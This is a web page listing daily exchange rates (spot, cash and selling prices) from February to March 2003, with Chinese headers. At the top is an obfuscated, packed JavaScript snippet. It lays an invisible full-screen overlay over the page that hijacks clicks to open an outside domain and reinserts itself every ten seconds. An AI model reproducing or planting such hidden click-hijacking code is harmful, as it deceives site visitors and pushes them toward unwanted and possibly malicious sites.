<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>日期 现汇买入价 现钞买入价 卖出价
2003/02/08 487.4800 476.4900 489.9300
2003/02/09 487.4900 476.5000 489.9400
2003/02/10 487.2500 476.2600 489.6900
2003/02/11 486.8500 475.8700 489.2900
2003/02/12 488.3500 477.3300 490.8000
2003/02/13 485.2100 474.2700 487.6400
2003/02/14 491.3900 480.3100 493.8600
2003/02/17 488.3400 477.3200 490.7800
2003/02/18 486.9400 475.9600 489.3800
2003/02/19 486.8400 475.8600 489.2900
2003/02/20 490.3300 479.2700 492.7900
2003/02/21 493.8800 482.7400 496.3600
2003/02/24 493.3000 482.1800 495.7800
2003/02/25 499.4100 488.1500 501.9200
2003/02/26 499.8300 488.5500 502.3300
2003/02/27 501.6400 490.3200 504.1500
2003/02/28 499.6500 488.3800 502.1600
2003/03/03 501.8900 490.5700 504.4100
2003/03/04 506.8400 495.4100 509.3800
2003/03/05 508.0700 496.6100 510.6200
2003/03/06 508.4100 496.9400 510.9600
2003/03/07 506.9300 495.4900 509.4700
2003/03/10 505.8500 494.4400 508.3800
联系人:
联系方式: |
|